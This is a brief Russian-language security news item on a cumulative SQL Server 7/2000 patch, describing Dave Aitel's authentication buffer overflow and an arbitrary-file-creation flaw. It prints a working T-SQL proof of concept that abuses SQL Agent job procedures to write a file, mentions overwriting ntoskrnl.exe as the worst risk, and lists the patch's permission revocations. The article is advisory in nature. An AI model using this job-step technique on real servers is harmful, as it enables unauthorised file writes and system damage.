Совокупная заплата для SQL Server 7-2000, выпущенная вчера, устраняет 4 новых уязвимости. Уязвимость, известная как Dave Aitel’s «hello» bug (переполнение буфера в процессе идентификации), была устранена в этой заплате. 

Также была устранена проблема создания произвольных файлов на SQL
сервере. Пример: 

USE msdb 
EXEC sp_add_job @job_name = ‘ArbitraryFileCreate’, 
@enabled = 1, 
@description = ‘This will create a file called c:\sqlafc123.txt’, 
@delete_level = 1 
EXEC sp_add_jobstep @job_name = ‘ArbitraryFileCreate’, 
@step_name = ‘SQLAFC’, 
@subsystem = ‘TSQL’, 
@command = ‘select »hello, this file was created by the SQL Agent.»’, 
@output_file_name = ‘c:\sqlafc123.txt’ 
EXEC sp_add_jobserver @job_name = ‘ArbitraryFileCreate’, 
@server_name = ‘SERVER_NAME’ 
EXEC sp_start_job @job_name = ‘ArbitraryFileCreate’ 

Microsoft заявляет, что команды «операционной системы» могут быть вставлены в файлы — т.е. созданные файлы могут быть помещены в папку автозагрузки. Но это не верно для SQL Server 2000. Текст создаваемого файла — UNICODE, т.е. после каждых двух байт следует NULL символ. NULL символ препятствует выполнению команд OS. Самый опасный риск этой уязвимости — перезапись файла ntoskrnl.exe. Неизвестно, сработает ли это на SQL 7.0. 

Также патч изменил права доступа к следующим процедурам (скорее всего для решение проблемы Дейва Эйтэля): 

revoke execute on sp_add_job from public 
revoke execute on sp_add_jobstep from public 
revoke execute on sp_add_jobserver from public 
revoke execure on sp_start_job from public



Оставить мнение